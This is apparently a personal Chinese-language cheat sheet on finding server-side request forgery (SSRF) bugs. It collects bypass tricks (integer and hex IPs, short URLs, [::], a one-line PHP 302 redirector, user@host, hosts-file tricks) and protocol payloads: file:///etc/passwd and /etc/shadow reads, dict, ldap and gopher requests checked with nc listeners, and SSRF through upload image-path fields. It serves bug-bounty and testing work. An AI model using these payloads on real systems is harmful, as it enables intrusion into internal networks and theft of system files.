最近看了很多ssrf漏洞挖掘技巧和自己以往挖掘ssrf漏洞的一些技巧和經驗,簡單的總結下:
之前自己總結的:
ssrf=服務器端請求偽造 基於服務器攻擊 url鏈接 -->內網漫游/內網服務探測/內網開放端口探測/getshell/xss/xxe
http://test.com/proxy?url=服務器地址 ->服務器地址來源ip不是你本地的ip,那它就有八成概率存在ssrf了
對外訪問地址,ip地址非本地
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
信任域
http://baidu.com -->
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
http://baidu.com/proxy?url=http://服務器ip
打開我們服務器:
nc -lvvp 端口號:
1.是否會有請求 -->判斷是否會對外發起請求
2.來源ip -->判斷是否是從服務器發起請求
ssrf為了干什么?
探測內網的信息/內網信息漫游?
http://baidu.com/proxy?url=http://127.0.0.1 //hello world 測試環境
通過外網訪問到內網
ssrf多數存在於url參數上。
url跳轉/分享端鏈接/打印文本可能就存在ssrf攻擊
url,xurl,loginUrl,urlxxx,xxxurl,xxx_url 都應該去嘗試ssrf攻擊
xxx代表*
ssrf繞過
127.0.0.1 ->127.0.1.1.xip.io
127.0.0.1 ->整數ip->http://2130706433
十六進制。八進制ip
參考:https://www.silisoftware.com/tools/ipconverter.php?convert_from=127.0.0.1
ssrf的漏洞的實踐文章參考:
https://shuimugan.com/?BugSearch%5Bbug_no%5D=&BugSearch%5Btitle%5D=ssrf&BugSearch%5Bvendor%5D=&BugSearch%5Bauthor%5D=&BugSearch%5Bbug_type%5D=&BugSearch%5Bbug_level_by_whitehat%5D=&BugSearch%5Bbug_level_by_vendor%5D=&BugSearch%5Brank_by_whitehat%5D=&BugSearch%5Bbug_date%5D=
短網址繞過
http://127.0.0.1
短網址
https://www.ft12.com/
https://tb.am/
加密的ip進行二次短網址生成。
別的繞過:
http://[::]/
http://[::]:22/
http://[::]:25/
利用302跳轉繞過:
302.php
<?php header("location:".$_GET['u']); ?>
http://***.com/302.php?u=http://[::]/
或者是其他內網地址
關於信任域名:
如果測試的站點是http://test.com,驗證了*.test.com那怎么繞?
可以這樣:
設置hosts文件
內網ip *.test.com
然后直接通過http://test.com/proxy?url=*.test.com ->自動解析訪問內網地址
再談302跳轉:
信任域名驗證還能怎么玩?
url跳轉 *.test.com某站存在url跳轉
url跳轉:http://*.test.com/xxx.php?url=內網ip
ssrf利用:
http://test.com/proxy?url=http://*.test.com/xxx.php?url=內網ip(url跳轉)
還能怎么玩?
如果沒url跳轉呢?
老辦法
設置hosts文件
內網ip *.test.com
http://test.com/proxy?url=http://*.test.com/302.php?url=內網ip(url跳轉)
還有什么辦法繞過信任域名?
http://test.com/proxy?url=http://test.com@內網ip
還有哪些繞過?可能http/https請求被禁用
還可以嘗試如下協議:
如下:
file:/// dict:// sftp:// ldap:// tftp:// gopher://
file是文件傳輸,所以常說ssrf到文件讀取:
file:///
File是用來從文件系統獲取文件
windows:
http://test.com/proxy?url=file:///C:/Windows/win.ini
linux:http://test.com/proxy?url=file:///etc/passwd
可能etc/passwd被過濾,可以嘗試讀取別的目錄如/etc/shadow /etc/hosts可以讀usr或者tmp目錄等 可以看看linux系統目錄結構
dict:// -
DICT URL方案用於表示使用DICT協議可用的定義或單詞列表:
客戶端:發起請求:http://test.com/proxy?url=dict://服務器地址:1337
服務器:nc -lvp 1337
查看是否有返回請求
sftp://
Sftp代表SSH文件傳輸協議,或安全文件傳輸協議,是SSH的內含協議,在安全連接上與SSH類似
tftp:// -
簡單文件傳輸協議是一種簡單的鎖步文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件放到遠程主機上
同理和dict://用法一樣
特殊點的:
ldap:// or ldaps:// or ldapi:// -
LDAP代表輕量級目錄訪問協議。它是一種通過IP網絡管理和訪問分布式目錄信息服務的應用協議。
http://test.com/proxy?url=ldaps://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldap://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldapi://localhost:1337/%0astats%0aquit
直接遍歷1337就行
gopher:// -
Gopher是一種分布式的文檔傳遞服務。它允許用戶以無縫的方式探索、搜索和檢索駐留在不同位置的信息。
http://test.com/proxy?url
=gophar://服務器地址/gophar.php
gophar.php內容:
另一台服務器:
<?php header('Location: gopher://另一台服務器:1337/_Hi%0Assrf%0Atest'); ?>
另一台服務器nc -lvp 1337
返回
Hi\nssrf\ntest
其實我們自己在漏洞挖掘中根本沒有我們想象的那么復雜化。。。
講些隱蔽點的ssrf挖掘姿勢,個人感覺很騷,平常沒怎么關注到的:
文件上傳處ssrf:
常見位置:
文件上傳數據包里面有imagePath/Path等參數,可以自定義圖片地址的:
嘗試修改成:http://內網ip/favicon.ico favicon.ico不多說了自行百度了解,如果批量上傳有上傳成功的說明存在ssrf!
文件上傳利用2:
今天看到的案例:
文件上傳type一般都是file <input type="file">
如果我們嘗試把<input type="file">改成type="url"是不是就和上面的案例一樣,批量上傳http://內網ip/favicon.ico嘗試ssrf是否會有上傳成功的圖片:
案例:
從上傳變成url地址上傳:
先寫這么多,記錄下,方便以后查閱方便。基本上漏洞挖掘,沒這么復雜。。